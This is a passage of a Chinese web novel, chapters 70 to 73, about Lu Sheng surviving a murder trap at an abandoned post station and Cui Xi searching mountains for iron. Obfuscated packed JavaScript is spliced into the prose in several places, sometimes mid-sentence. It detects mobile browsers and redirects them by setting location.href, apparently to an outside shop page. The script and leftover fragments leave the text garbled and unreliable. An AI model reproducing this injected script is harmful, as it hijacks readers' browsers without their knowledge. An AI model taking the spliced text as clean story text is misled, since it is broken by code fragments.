她是县令夫人阿真不敢对她怎样,但她还对阿真怀有杀心,所以说来说去都是这个陆笙的错! 之前在县城自己没有机会,如今可由不得她。 不绝的愤怒叫隹崖双手紧握,越来越紧,血肉碾成一团。 不留神,他手里的鱼就没了头,血肉模糊。低头看看,隹崖觉得有点恶心。 70. 第 70 章 今天随晨光而来的还有一阵异香。 闻到这味道陆笙脑子里就响起一句话:去你妈的,我就是要这样香,香得痛痛快快,你们他妈的管得着吗?[1] 栀子花一般是芒种时节开。二十四节气里的芒种代表着温度升高,雨水充沛。晚稻若是过了芒种再不种那么因为温度、湿度变化它的成活率就会随之降低,最后影响到结穗。 节气是一种没有温度计与湿度计的大致概括,实际的天气不仅有南北差异,每年也会不同,想到这里陆笙蒙着被侧耳。 外面没有雨水声,还听得见鸟鸣和人声。她长舒一口气,慢悠悠地爬起来开窗,深深呼吸气。 “咳咳……”这栀子花真是,吓煞人香的名头不能只给碧螺春,也该给栀子花呀! 卡铃在下面一抬头,笑着问:“是不是太香了?” 见陆笙点头她笑得更大声了,栀子花当然是连她也不放过,两个人一起咳嗽。 卡依过来抚一扶姐姐的背,她对陆笙说:“这是你送我们的栀子花,现在有大一片啦!” 她又高兴地说起栀子,说它的叶是油亮亮的,下过雨以后一股冷香,浓郁中带着几凛冽,这样比较好闻。现在土地里头的热气跑出来,这香味简直像马蜂一样,闹哄哄的一大片包围住你,闻了以后脑子也嗡嗡的。 陆笙被她的比喻逗得直笑,卡依说快下来吧,该吃擂茶了。 “马上,我的茶少放一些姜,现在天热呢!” “天热才要吃姜,你贪凉小心见红时候又痛得脸发白,浑身冷汗。”卡铃从栀子花香里缓过来,瞪陆笙一眼。 以前陆笙也不会如此,不知道是不是她哪个时候犯了浑落下这个病根。 下了窗户陆笙准备换衣服,丰娘完全考虑到了时节差异,为她准备的衣服很全面。 一件湖色缺胯袍,这件衣服拿在手里柔顺光滑,只是今天并不好穿。丰娘当然也考虑到了这点,除这件外还有一件素色的袍子。 陆笙小心挪开她画的画,把衣服换上,只是动作之间还是碰到了她的纸笔,纸上那画工拙劣的水稻顿时变成一片模糊的黑,本来就不像,这一下上去更是惨不忍睹。 这是她给老庄的信,也学着他的方式把东西画上去,但谁知自己的运笔绘画技术比老庄还差。 可也不好叫人替自己画,若没有亲手动笔那也没有太大的意义,动笔以后再请别人画,那太像的在旁边就叫自取其辱。 陆笙吹吹墨痕,她安慰自己,画得有那么两三分不像还能叫老庄猜猜不是么? 或许是笔沾了太多墨,除了洇湿老庄的信,下面空白的纸和空白纸下面的给阿木凌的信也有了黑点。 “算了,你也猜猜吧。”陆笙把两张纸分别摊开放在桌案上,又拿上次石潭里掏的光滑卵石压住,拿着毛笔走下去。 每天她都是早上点上灯,等写完信再睡一会儿回笼觉,醒了以后开窗在楼上磨蹭一会儿才下去洗毛笔。 之后她会毛笔挂在竹架上,借凌霄的茂盛遮挡一下直接落下的阳光。 这几天明显觉得太阳越来越热,中午的时候如果是大太阳已经会把头皮晒得有些刺痛。 “陆笙,今天讲什么?”卡依拿胳膊肘捅一下她。 现在陆笙带她们种的秧苗已经整齐有序地生长在田地里,她们第一次知道原来光是用曲辕犁犁地是不够的,还要平整一下土地才能种水稻,不然也会影响发芽。 平整土地的工具黑寨里并没有,四个人拿着耙在田里来回地走,纯粹就是靠着人力来平的。 “讲水稻分孽,然后叫你们判断什么时候水多一些合适,什么时候水少一些合适。不过你们跟我种过一回以后肯定还会遇到别的事,到时你们有什么问题让桐吾阿克飞书过来。” 卡铃听她这么说有些不好意思,她是真心来教的,自己却还要怀疑陆笙。 “不过也可能等你们收到消息,这问题就没了。”陆笙喝一口擂茶道。 “这么好?”卡依现在觉得种水稻麻烦无比,听陆笙这么说以为可以不需要解决,晾着让它,让它自己过去的办法。 陆笙干笑两声,把残忍的事情告诉她们:“水稻要是都种死了,那么它不就没问题了么?” “你真是!”卡依真想打她一拳,这讲得什么话! “对了,今天我们去采梅子来煮么?我看到路上的梅子都快熟了,有些已经泛黄。”陆笙出入时常观察周边的梅子树。 这些日子卡铃对陆笙的嘴馋已经有了新认识,反正什么能吃她都想捞来吃一吃。 “你再等些日子,只是变色了那么些,你就等不及啦?你放心吧,我们黑寨的梅子是不会都被鸟啄去的。”卡依拍拍她的手。 卡铃忽然想到桐吾,他离开寨子的时候梅子还是小个的,青青的缀在枝叶间。 那时候阳光还没有那边白,朦胧的光影里叫人分辨不清树上到底结了多少的梅。现在梅子都渐熟了,桐吾竟然还是没有消息。 她已经尽力让自己不去想这件事,可是时间太久了,任何一点阴翳都足够遮蔽她一时的信心。 “阿姐你怎么了?”卡依拿手在卡铃的面前晃一晃。 卡铃看到妹妹和陆笙询问的目光心情忽然有些乱,她说:“没什么,只是明白我为什么没有成为大巫了。” “阿姐,这事不怪你。”卡依挪到阿姐身边抱一抱她。 陆笙不清楚这件事,她独自走出去,留她们两个互相安慰。 卡铃扭头看看陆笙的背影,她好像还是那个对一切都很好奇的人,左看看右看看。 心里一股无名火气出来又很快灭去,她嫉妒陆笙的轻松,嫉妒桐吾对她的爱慕,明明自己才是一直站在桐吾身边的那个人,付出的不平等让她恼怒。 但只是一瞬间她就抛弃了这种心情好这实在是负面的,以她自己感受为准的。 虽然没有成为大巫,但……至少不要流为自己曾经厌弃的人,卡铃抱住卡依,妹妹的理解和支持是她现在最应该珍惜的。 栀子花在阳光之下香得越来越不顾一切,陆笙有点后悔这么贸然出来,这味道简直无处可躲。 好在犀木来得及时,她大喊:“卡铃、卡依,快,犀木来了,我们该去看水稻了!!” 听见陆笙救命似得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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卡依觉得隹崖有点可怜,现在要对着他们四个人编排一些瞎话,所以县令到底是怎么看上陆笙的?平时她也跟县令这么说话吗?难道纯粹是看上了她的种地水平? “那你说说是什么故事叫你这么怕,实在不行我们五个也可以同去。”陆笙说得一本正经,正经地隹崖恨恨。 卡铃听了立刻打冷场,她对隹崖讲:“你就说吧,万一我们也感兴趣呢?今年商期在下半年,我们都是空的,对吧卡依!” 卡依拉着犀木一起点头。 隹崖就把阿婶说的那个故事重头复述了一遍,但是因为用词干巴死板,所以讲出来还不如不讲的诱惑力大。 这下没人劝陆笙去了,不过是个废弃的驿站能有什么传奇故事在里头呢? 隹崖也只是试试,并不认为这一次会成功,就是没想到被逼迫着走了这么尴尬的一步。 “那我下次再来……” 他心里已经决定放弃这种傻瓜一样的方式,听卡铃、卡依两姐妹说过,陆笙再过一段时间就会离开,到时候在路上动手也未尝不可 毕竟山路不好走,谁能保证不出意外? 隹崖准备离开,刚迈开一步陆笙却说:“请带我去看看。” !!! 成功了,隹崖眼底闪过一抹癫狂之色。 71. 第 71 章 隹崖说的是一处前朝驿站,据说曾接待婆罗洲的爪哇国的国王,当然,这是许多年前的事了。 陆笙对此并没有太多怀疑,毕竟曾经麟国富强,远近诸国都来朝拜,为方便来使,许多偏远地都有官方驿站。 麟国的强盛到衰弱好像刹那之间,此事陆笙并不很清楚,只知道是在自己穿越过来的前后。 她走镖时对这段国家波折的传言有许许多多,但听来大多添油加醋被敷衍成诡异或下流的故事。 隹崖这个故事真不真不知道,但他带的路也确实印证“前朝”的久远,远到要凭空开出一条路。 两个人砍刀挥舞,所过之处草木根茎都齐齐断裂,大的小的白的绿的无数横截面暴露在空气,清风一吹闻起来是微微的清苦。 越往深处走这林子越密,稍挪动便有窸窸窣窣的声音响起,脚下、身边、头顶全是“原住民”对于外来者的抗议。 “原来你还没去过。”陆笙被这路况纠缠地有点烦心,有些后悔答应隹崖来。 隹崖回答:“嗯,我怕。” 现在自己在前,陆笙在后,两个人都挥舞砍刀开路的瞬间里他哪里能不怕呢?身后的刀又不知为何劈得那样快,让他觉得总有一阵凉风从脖颈飘过。 “这驿站你阿婶阿叔有说过具体是什么时候的么?”陆笙砍得无聊了想同隹崖聊一聊细节。 隹崖忽然明白了陆笙的意思,他带着点讽刺口吻道:“都说快百年了,总不能因为这故事里有个陆相你就想攀亲戚寻关系吧?” 陆笙被他问得沉默,自己确实是因为听到“陆相埋骨之地”六个字来的。 至于是不是攀亲戚寻关系,她也不知道,只是心里忽然就想来看看。 再说了万一呢?万一自己被贬过此地的陆相就是有关系呢!哪怕是自欺欺人。 哪怕……这个故事就是隹崖编来骗人的,陆这个姓在永平几乎没有,偶有身死在此地的同姓异乡人总是有些感怀的。 两个人在林子里跋涉,树叶之间的光点越来越少,不知为何这里的树竟然这样茂盛。在故事里这片地方死了许多的人,这一联系竟然让这里多了几分阴森诡异。 “前面就是了。”隹崖忽然开口,他太怕陆笙临时反悔。 陆笙努力张望一下,不知他是怎么看出来的。 好在走一会儿还真到了目的地,一块被藤蔓缠绕虫子啃食的木牌立在一座破败的屋前。 陆笙简直要怀疑这是不是有人凭空搭建在此处的了,这样密的林子还真有驿站? 可把藤蔓一拨开上面还真书了“杜鹃驿”三个字。 又联想到隹崖说的那段故事,他说一位麟国重臣陆相被贬谪到此,那天杜鹃漫山红,陆相出门寻胜景回来时路过一条溪流,想要洗手却发现水慢慢变了红,他慌慌张张回到驿站不想自己和自己的队伍都在那丧了命。 今日已不似当年红得彻底,反而是绿得幽深发黑,陆笙颤抖一下,之前还觉得无聊的介绍现在身临其境时倒是有些心里发毛。 特别是拨开藤蔓时那密密麻麻一见天光便四处躲藏的虫子,叫人真觉得有多少遮蔽就有多少秘密。 陆笙的裤子来时便将下端系了绳子,否则现在估计已经有虫子顺缝隙爬进来,两袖与脖颈处她也做了防护。 “进去吗?”隹崖问道。 “来都来了还走到这里,肯定得进去。” 隹崖的声音在后面像一阵阴风似得飘过来,他说:“还有一个传说,那位陆相是被蛇活吞而死。” 陆笙皱皱眉,怎么越讲越恶心,陆相也是倒霉,一种死法衍生出无数种。 她从怀里掏出三根香,做得粗糙但直径不小,只手掌似得长度。 “你要做什么?”不知道为什么,越靠近自己的计划的终点他就越紧张,简直像惊弓之鸟。 陆笙叹一口气说:“祭拜一下,既然来了知道他身死此处至少得烧三根香吧。” 隹崖见她似乎很是信冥冥之中与神神鬼鬼,嘴角有了一丝压不去的笑意。 青烟在林子里四处飘散,陆笙咳嗽了两下,这种情况一般来说是气压低,不知道今日会不会有雨水,但没关系,只是看一看便回去。 驿站的门已经向外倒塌,屋子左边的柱子已经歪斜,攀缘植物抓住了檐轻而易举地吞下了整个房顶。 用火折子把火把点亮,又挥舞几下,蛛网带着一线火焰下坠,但它太轻太薄,还没坠到地上便烧尽。 一片又一片的网从空中带火坠落,忽然她闻到一股臭味。 “你闻到了么?”陆笙警惕地憋了一会儿气。 隹崖觉得自己声音在颤抖,喉咙几乎要痉挛,兴奋要冲出来。 “闻到了,我……我闻到了。” 陆笙感觉他在猛吸鼻子,转头一看面部还有些狰狞,但是立马又恢复貌似正常状态。 处处都透着诡异,她拿着火把往里面一走,气味越来越浓烈,屋子出现的拐角,那东西应该就在拐角后。 屏住呼吸,一点点探身。 陆笙的身形忽然顿住。 “怎么样?你看到了吗?”隹崖走到陆笙身后把刀抵在陆笙的脖子上。 陆笙当然看到了,一只黄鸟和一条腐烂的蛇,身上的鳞片不是鳞片,它们在不停地钻动。 “看到了,只是你何必这么做?” “怎么做!”隹崖的声音有点怪异,好像极其亢奋。 陆笙有些不忍,那只黄鸟扔在蛇口之外的腿几乎要被扯断,显然是有人把绳系在它的腿上,本来它是可以逃离蛇口的。 “编造了这么多无用的谎言,设计了不太聪明的机关。” 陆笙刚才身形一顿并非是因为看到了蛇吞黄鸟,而是踩到了陷阱,现在她的双脚已经被缚。 “杀你简单,可是要折磨你就难了。你好好看看这里,到时候故事里的陆相就是你!你会做无穷尽地噩梦,一个念头接着一个念头,一个梦接着一个梦,直到你死!怎么样满意吗?” 隹崖的面孔狰狞,眉心皱了许多道,眉毛夸张地耸起。 “黄鸟生性胆小,你给它喂过食。”陆笙的眼睛盯着他。 隹崖不自觉避开,她的眼睛就跟烧灼的火焰一样,一触碰都觉得难受。 避开后是他变得更加狂躁,他大喊:“陆笙!少在那惺惺作态,你在阿真屋顶时候有想过这些吗?” 隹崖的涎水从嘴角流出,双目诡异地泛红,他撕心裂肺地喊:“别装出一副什么都知道的狗屁样子,等下我要好好看看你有多怕死!你不死,我还有刀!怎么样,害怕吗,快向我求饶啊!” 与他癫狂相对的是陆笙的平静。 “她现在无法和我在一起,简直比死了还要难受!” “原来是为你自己。”陆笙冷笑。 隹崖一手拿着刀一手捂住耳朵, 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陆笙一直在观察他的模样,这种激动与怪异来得太奇怪了。她看着隹崖有些发黑的人中忽然想到阿木凌说过的一种虫子,三月情虫。 三月情虫它没有太大的毒性,但因为极易叫人情绪激动所以致死率很高,特别是三月三时被它叮咬的人容易殉情。 可不应该,他是土人理应对出入山林有所防护才对,陆笙思量时他又冲过来。 这一次却没有来得及走到陆笙面前,一把木枪直接“噗嗤”一声贯穿了他的心脏,隹崖就像纸一般破了个洞。 他头都没来得及回就跪倒在地,血沿着枪头落下来,随之落下的还有几只红色的甲虫。 陆笙上去一看,不知是什么原因它们竟然也死了。 “陆笙!”是久别未见的桐吾的声音。 陆笙抬头看去,看到他满脸是血,显然是经历了什么但根本没来得及休整就赶过来。 与他一起过来的还有俩姐妹与犀木,卡依捂着嘴巴,一副不可置信的模样。 “没事。”陆笙举举手示平安。 卡铃也惊魂未定,还好陆笙跟她们说如果超过某时某刻还没回来就要去找她。 她与隹崖走过的那条路会明显,靠近时她会插三支烟以示方位。 但她们两个差点就没有来,觉得不会有什么事的。现在想不禁一阵后怕,若是来迟一点,陆笙会如何呢?!如此她们就是把朋友推入火坑的罪人。 桐吾气势汹汹地冲进来,他手里拿着陆笙和隹崖放在外面的砍刀,泄愤似得砍下他的头颅。 陆笙别过头不去看。 其实今天就算是他们没有来,隹崖也不能伤到自己,喊人至多算是求全。 只是她没有料到桐吾会来,现在求全成了一种变数,怪只怪他这个人身份太特殊。 他们三个是三种有代表的身份,永平县的土人乡绅、黑寨土人阿克和她这个县令夫人。 现在阿克替县令夫人处理了乡绅的儿子,或许他还做了别的什么,接下来轻则一场口水官司,重则……陆笙揉揉太阳穴,她也把握不准。 念头涌动的瞬息里她忽然觉得腿软与后怕,心里闪过恐惧,她要是在这里死了怎么办?! 恐惧跟虫足一样爬过脊背。 原来自己也没有把每一刻过得不留遗憾,陆笙自嘲。 72. 第 72 章 黑色的,除了自己有颜色,周围的一切都未明。现在的状况有些神奇,陆笙坐在这里发呆。 这里不是现实世界,她能够意识到,就像做了一个有意识的梦。可是梦偶尔可以控制并且有各种瞬间,这里却是一片广袤或者说无尽的暗。 这个状况是在服用卡铃和卡依为自己熬过的土人秘药发生的,或许药草起的古怪作用。 听她们说那股臭味其实大部分是一种魔花,它的味道很臭,容易让人心生梦魇。闻的时间和闻到味道时的经历决定了梦魇的恐怖程度。那个隹崖又是被情虫咬,又是闻这个味道的,不疯都难。 “怪不得要这么费尽心思耍花招。”陆笙坐在黑暗里喃喃,她忽然又大喊一声,声音没有回过来,看来这地方真不小。 也不知道是不是这个药和那个魔花对冲了,两者相当在自己身体里打了个平手,于是幻觉没出现,安神的效果也不存在。 陆笙开始在这个黑暗的空间里做尝试,尝试自己所知道的物理规则。 重力是存在的,但摔倒又不疼,她蹦蹦跳跳的时候远处有一条细细的裂缝,缝隙飞速移动。 但看上去并不是物体从远到近那种移动,而是这条裂缝把空间收缩了一般,越来越近以后它像在自己的天地之间劈开了一道。 里面透出光,但光却没有进来。 “敢情我还是个黑洞?光都进不来。”陆笙吐槽自己。 那道光忽然变化,变成一个圆形,然后自己越来越近,再下一刻外面的光刺得她无法睁开眼睛。 在完全闭眼之前她眼前似乎有个模糊的人影,很熟悉,但她不确定,因为睁开眼睛的时候那个人影的位置是桐吾。 他脸上有几道新旧疤痕,但是眼神炯炯,看到陆笙醒来,他立刻唤来卡铃与卡依。 卡铃为她看过以后大松一口气,她拍拍陆笙的肩膀说“现在真的没事了!” “陆笙,你一点噩梦都没有做吗?我们处理那驿站的时候都快吓坏了!”卡依想到那种阴暗环境和突如其来的熟人翻脸,换作自己可能也能脱困,但肯定得噩梦连连。 听经历过的人说要是在生死一线闻过这种魔花的味道,那梦境就会重叠反复,有时候人活了,神智却因为这种强烈的冲撞而瓦解。 “只是黑黑的,然后……” 她说到“然后”,几个人都看着她以为有什么叫她都铭心刻骨的事。 “没了。” 桐吾听了笑出来,心里的担忧就像是高阳下的雾气一样消失。 “我睡了多久?”陆笙摸一摸肚子,看看外面是白天,所以至少是过了一夜。 卡铃说:“不长,就一天多。” “怪不得……” “怪不得什么?”卡铃坐在她身边,看她微微蹙起的眉头有些紧张。 卡依把手搭在阿姐的肩膀上说:“她肯定是饿了!” 像是为了应和这句话似得,陆笙的肚子“咕噜噜”得叫了一声。 “你先喝点鸡肉粥,晚上的时候有大宴!”桐吾笑着说,他不敢笑得太大,脸上的伤口还没好全,犀木说他这样的表情有大阿克的风范。 所谓大阿克便是统一大部分黑寨的阿克,桐吾此去就是为了做这件事。 陆笙点点头,由扶着卡铃站起来,脚像刚蜕壳的螃蟹有点软。 “对了,隹崖的阿婶和阿叔怎么样了?”陆笙忽然问起那两人的情况。 桐吾面上有一丝阴郁与暴戾,他说:“关心那两个人做什么?本来我们与隹寨是不来往的,庇护他们已经是仁至义尽,竟然还敢把姓隹的外人接过来生活,现在这时候我不去砍他们的头不错了!” 说完又觉得自己那股在外面的杀伐之气犹在,桐吾收敛表情对陆笙笑一下。 陆笙点点头,被俩姐妹搀扶着去吃粥。 接着桐吾又是急匆匆地离开了这里,没再逗留,据说是准备晚上的大宴。 深色的瓷碗与瓷勺,陆笙左右看一看,这是外面的货。 卡铃给她舀了满满的一碗鸡肉粥,闻一闻味道便知是香鸡。米粒已经煮得绵软失形,鸡肉甘甜,野菜被切做细细的丝缠绕其中,还有一些富有嚼劲的菌子。 陆笙拿勺子舀一口,粥是温热的,很适口。 “多谢你和犀木了,这香鸡这么难捉。”陆笙闷声不响先吃三大口才说感谢,她是真的饿坏了。 卡依看看姐姐,她说:“其实……” 卡铃不避讳,直接接过妹妹的话茬说下去:“是桐吾阿克为你捉的。” “那就多谢阿克为我这种地老师费的心了。”陆笙把自己同桐吾的身份拉开。 粥吃一半,卡铃又给她炒了一份鸡蛋,陆笙的饭量那点粥根本不够,但是泥壳鸡又还没能吃,所以便直接炒一份鸡蛋作为垫补。 “种水稻我教得差不多了,剩下的就是看天气。” 卡依听出陆笙话里的意思,她是要准备离开。 “你要走了么,陆笙?”卡依问。 陆笙看了眼外面竹架上的凌霄,已经有了花朵,再过不久就要迎来一片盛开。 “嗯,我也该走了。” 卡铃咬了咬嘴唇,当时她对阔别几年的陆笙有不少猜忌,但是现在看来大部分都是自己与自己心里那点劲勾斗,陆笙没有任何的变化,她还是那样一个人。 于是她开口挽留:“要不,要不你留下吧?我们这以后也不会比永平县差的!” 陆笙摸一摸心口,原来去意已决的时候对这种挽留居然会下意识的抗拒。她甚至都要忘记自己为什么来了,好像是因为一个微不足道的事情。 只不过当时情绪太汹涌,淹没了。 现在回去她有一点点类似近乡情更怯的感觉,有点好笑地意识到自己在猜测崔息,想着他有没有也同样想念自己。 酸涩甜蜜还有思念,这些感情靠近崔息才显形有颜色。 “你笑什么?”卡依看到陆笙拿着勺子,脸上出现了一种她没有见过的神情。 有点呆,但不是天真的呆,有点像自己在水中看见自己,又由自己想到犀木留下的亲吻时那种表情。 “没什么,只是想起了永平县的事情。”陆笙回神打个哈哈。 卡铃在一旁也看得分明,卡依是自己的妹妹,这样的神情她也很熟悉。 大概是真的没有办法留下陆笙,她的心根本不在这里。 陆笙想到离去心情大好,对着景轻轻哼曲,她现在似乎明白了一些为什么自己喜欢崔息,自己从来不喜欢束缚,最讨厌的也是以“爱”为名的束缚,亲情、友情、爱情等等。 这些情感一旦变成束缚就是精神上难过的坎,可是因为意识到她又走向了另一种极端,有一段极其冷漠的疏离,十几年都不肯叫老庄一声阿耶。 崔息当然不是唤起她重新审视情感的唯一原因,但他是契机之一,宝贵的契机。 吃完粥以后陆笙背着手在屋子周围转悠,又心情很好地带着鸡蛋去了一趟温池。 不知是否是天气缘故,温池最近特别得热,热得根本下不去,只好用担子挑来洗。 不过人总是懒惰的,挑水还不如捡些柴火烧水。如此,这温池俩姐妹就很少去了。放完鸡蛋,她又到处检视了一番姐妹俩种的菜。 陆笙走着走着脚步离暂住的屋子越来越远。 因为桐吾的原因,所以寨子里的人对陆笙还算客气,她就像往常一样拉着人聊天。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493407|132703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“诶诶,阿婶,问你个事。我之前听见个传说诶,就是密林子里有个杜鹃驿,然后在那……” 陆笙的话还没说完,身材富态的阿婶脸上立刻出现了一个生动的表情,她嘴微微嘬起,两条细细的眉毛往上扬。 有门!陆笙嘴角浮现一丝得逞的笑容。 谁知阿婶跟隹崖说的内容几乎相差无几,只是有一条不太相同,她加了一句话,她说现在还时不时有血水流出来呢!还不在一处,古怪得很! 这代表阿婶知道那地方,甚至是具体的河流在哪里她也知道。 可是自己还要问的时候她却推脱,她说明天再来,今天她还要准备做菜。 今天每家每户都要做个大菜,桐吾阿克叫周围的黑寨都臣服了,以后大家都统一听他的命令行事,可威风啦! 陆笙听着也不好拉着人家,问了她家在哪里便继续散步。 现在寨子里的女人都在西边的泉水那洗菜,边洗边唱。 “山里长出太阳,太阳照耀黑寨。” “今夜燃起火把,你我都是一家。” “嘿哟!嘿!嘿哟!嘿!” 陆笙就在附近的台阶上赖着听。偶尔会被她们的水珠泼到,有点点的清凉。 在附近她也不是什么事都不干,有些顽劣的小孩会那土块砸水里,水面激荡土块化作泥水溅在别人的衣服上。洗菜的人们乱作一团,断开,孩子拔腿就跑。 这种时候陆笙就会挡在想要溜走的孩子面前,一手提溜一个叫他们挨个道歉。 一次又一次,一回又一回。 时间在附近打了个旋,白日仿佛无穷尽,但眼看着日光就沉下去,太阳像个咸蛋黄一样透着丹色。 再仔细一听,洗菜的声音也少了,周围间或响起蔬菜入锅的声音,水在油锅里跳跃,发出一阵阵的激响。 一片响就是一锅菜,陆笙在暮色四合里数数,一个,两个,咦,这是不是蒸姜鱼? 鼻子嗅一嗅,味道打乱了她的数数。 天越来越黑,卡铃在喊她的名字,陆笙马上站起来,朝声音的方向走。 黑寨里的火把又点起来了,不仅是这里还有路上,其他黑寨的人扛着大锅子嘿咻嘿咻地走过来,扁担上下弹动,看样子吃了不少的力。 “快,再一会儿我们就该过去啦!”卡铃脸上满是欢喜。 卡依也在旁边,她说:“今天可是有乳猪吃,听说是附近黑寨手艺最好的人现烤的,皮焦脆!” “什么时候开饭?”陆笙已经开始饿了。 “等犀牛角吹响的时候,上次大家等桐吾阿克和你的那个平台那。” 卡铃刚说完,号角便吹响,先是几支长号角,声音深沉但有些发闷,但几支和在一起却有一些宏伟的意思。 陆笙跟着卡铃、卡依姐妹一起向平台走去,火光中有三跟柱子被树立,有人在往上吊什么东西,圆滚滚的。 越走近,陆笙脸上的喜色就越淡,最后如果不是火光的暖色映照,她的脸必定是惨白的。 那圆滚滚的不是别的,是人头…… 卡铃和卡依也看到了,但面上依旧带着喜色。 那是她们黑寨的仇敌,英勇的桐吾阿克帮大伙儿报了仇,以后那边的黑寨就是她们的奴隶。 大家欢呼歌唱,为了增加气氛,木柱子上还有浇上去的猪血,大伙儿拿刀砍一下那木头,再泼上血以泄其愤。 陆笙把头低下,就是这样的时刻在告诉着她,她不属于这里。 不属于永平县,不属于黑寨,但她又固执地觉得自己可以为自己创造一个属于。 陆笙的眼泪流下来,给自己点了一支火把,从欢欣雀跃的人群中离开走入黑暗,没有人发现。 73. 第 73 章 崔息站在山顶向下看,初夏的树林茂密,这如何能看到赵昙在书札里记录的血河?偏偏这是找到铁矿的关键因素。 他与秦厌不擅在山中活动,但此事又最好有向导,所以便乔装打扮,扮成商贩说要购些土药和土人特产,又不着急回去所以请黑寨土人为他们俩指一指路,想游览一番。 秦厌看到公子的表情便拿出怀中的册子,用炭笔在一行字上画个叉。 这是他们登的第三座山,山路不好走还要劈砍疯长的树木枝干,并且食物在这里还容易坏,这三座山爬得真是难上加难。 偏偏又没有一座有收获,简直不想再动。 “公子,我们还继续吗?会不会那个赵县令说的是假话啊?”秦厌看看自己被划得有些惨不忍睹的袍子,忍不住把自己心里的不痛快吐出来。 崔息环视一圈,虽然疲惫但是山顶风景甚好,胸中还生起几分快意。 这样好的景色他就想到陆笙,每一次美丽瞬间脑海里都会有她。陆笙说自己还没有机会登高山饱览永平县,下次应当带她去。 想为她实现愿望,想念她。 “公子?”秦厌小声喊。 “你说什么?”崔息刚才只听见声音,但是没有意思落下,声音只作了一阵风掠过。 秦厌重复一遍,心想这赵昙真是的,也不记清楚一些,瞧把公子累得,都没法在想事情的时候分些神。 “或许为真,或许为假,但不知真假才是我们来的理由。”崔息拍拍手,再看几眼这山就准备下去,登完这三座还有三座要登。 但是他也有些盼头,登完山就要去接夫人回家,她离开得够久了。 崔息已暗自经下了决心,不管陆笙何种态度,他都要想方设法带她回去,夫人不在生活如从前一样了无趣味。 呵,真是没出息!崔云尘啊崔云尘,你这样的人又怎么叫人喜欢呢? 两人离开,沿着开辟的山道往回走。 秦厌看到各种树底下都长着些菌子,或许是前些日子雨水多,一个个都鲜嫩无比。 想到笙姐姐做的鸡枞老鸡汤,滋润鲜香,泡着饭再捏一张紫苏裹烤肉,啊,这才是他该过的日子。想得美了他的手就往菌子那伸,但立刻被崔息的剑鞘封住了去路。 “你忘记黑寨土人怎么说的了?”崔息眉毛一沉。 秦厌当然记得,那土人反复说就算啃一口树皮,甚至是吃土也不要摘山里的菌子。如果碰了有毒的,可能忘了洗手吃东西就把命交代在这山里。 可是他分明瞧见土人家里晒满了菌子,给他和公子上的菜也是菌子。紫苏炒不知道什么菌,还有切开就会发青的菌,都很好吃。 秦厌有点疑心是土人诓他们,那么奇怪的菌子都可以吃,凭什么这白色的,看起来如此乖顺的不行? 它和土人家吃的也没什么区别嘛,唯一有些区别的似乎是伞柄那有一个环。 “不摘就不摘,可万一是土人诓我们的呢?”秦厌还是有点舍不得,把心里话说出来。 崔息瞥他一眼问他:“你还想见阿木凌吗?” “当然想!”秦厌不假思索。 “那就不要再这样的小事上犯浑,你吃这菌子于土人来说至不过是损失一餐,万一出事你损的是身家性命。” 秦厌立刻清醒对崔息施个礼说:“公子教训的是。” 崔息没有怪他,只是叮嘱小心就继续沿着来时的路往下走。山里湿度大,时不时就有雾,加上没有玩乐只有望不尽的绿荫,于秦厌这个岁数的人来说确实容易生厌。 重复地登山,重复地失败,连自己的心境也有些不稳,何况是平日好动的他。 两个人终于下至土人常走的山道,正巧遇上留他们住宿的艾真和几个黑寨里的土人。 艾真挑着担子,前后篮子里都装了不少东西。 “你们北人就是好登山,其实上去有什么看头呢,除了山还是山吧?”艾真笑吟吟地同他们说话。 崔息微微一瞥,秦厌立刻领会。 “艾真,我帮你拿些东西,你这担子挑得还真重。”秦厌看那扁担都弯成了月钩。 秦厌的力气他可是见过的,所以艾真一点不客气地说:“把那罐子拿出两个就好,那罐子我还担心碎了呢!真是巧遇上你们下来,夜里我给你们炖肉!” 他说的罐是两个深色瓷罐,秦厌一手一个,拿一会就问:“这里头装的是什么呀?” “回去说,回去说,说话耗气力。”艾真缄口不言,这让秦厌更感兴趣了。 山里的气候变化快,常常此时是晴彼时就是雨,快到艾真家的时候天就开始聚合阴云。 三个人快步走回去,刚到家雨就从天上倾下来,雨水沿着茅草啪嗒啪嗒地落下。 艾真准备搬了一个小缸去接屋角漏下的水。秦厌看他吃力便主动帮忙。他也不容易,父母早亡,自己还拉扯了弟弟妹妹长大。 如今弟弟去了州府学木匠,妹妹已嫁去别的黑寨,他依旧孤身一人。问他为什么不娶妻,他只说想娶的人不在那就不娶了。 两个人一人半边,先把缸翘起来一些,然后半扯半滚得弄过去。 天气热,弄完就是一身的汗。秦厌边擦汗边问艾真:“现在可以说那罐子里头到底是什么了吧!” 艾真哈哈大笑说:“那可是好东西,我悄悄从别的黑寨贩来,准备挑担去永平县卖的好酒。” 听到是好酒秦厌来了劲,直问是什么好酒,是几年陈的。 “不在于这酒的年份,在于它里头泡了什么。”艾真拿布巾一抹脸,黝黑的面庞上挂着略显神秘的笑。 “什么灵丹妙药?” 崔息坐在旁边不说话,他对酒并没有什么兴趣。 谁知艾真说:“你还小用不到,结了婚的人才用,泡了五步和竹青,喝了以后生娃娃呢!崔公子,你要不要来一罐?” 崔息连说不必。 秦厌一听吓得脸色都变了,这什么生猛的毒蛇酒! “拿北人的话来说就是壮阳的。” “我怎么没听过!”秦厌有些嫌恶。 “我也没听过,但是就是有人要,我们土人从前并不喝这个。”艾真抓抓鬓发,他也觉得奇怪。 崔息放下手中的茶碗忽然问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 